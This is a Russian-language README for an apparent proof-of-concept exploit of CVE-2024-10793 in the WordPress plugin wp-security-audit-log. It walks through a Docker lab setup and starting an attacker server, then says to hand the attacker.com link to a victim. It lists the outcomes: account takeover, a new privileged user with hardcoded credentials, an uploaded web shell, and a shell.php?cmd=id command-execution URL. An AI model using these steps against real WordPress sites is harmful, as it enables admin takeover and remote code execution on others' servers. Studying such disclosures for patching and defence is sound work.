
Доказательство концепции эксплуатации уязвимости CVE-2024-10793, нацеленной на плагин WordPress wp-security-audit-log. Демонстрирует захват учетной записи, создание привилегированного пользователя, загрузку оболочки и манипуляции администратором с помощью специально сформированных HTTP-запросов.
Добавьте эти строки в ваш файл hosts:
127.0.0.1 goodcms.lab
127.0.0.1 attacker.com
Запустите WordPress с помощью Docker:
$ sudo systemctl start docker
$ sudo docker-compose up -d
Откройте http://goodcms.lab:2121 и выполните шаги установки WordPress. Установите wp-security-audit-log.5.2.1 или более старые версии в WordPress.
Запустите сервер атакующего:
$ php -S 0:9091 -t ./exploit
Передайте http://attacker.com жертве и Бинго!
Последствия эксплуатации:

Захват учетной записи и создание привилегированного пользователя (PoC): Учетные данные атакующего после эксплуатации: { email: [email protected], username: amin, password: 123456 } (Вы можете изменить в коде xpl.js.)
Выполните команду оболочки: http://goodcms.lab:2121/wp-content/plugins/sogrid/shell.php?cmd=id
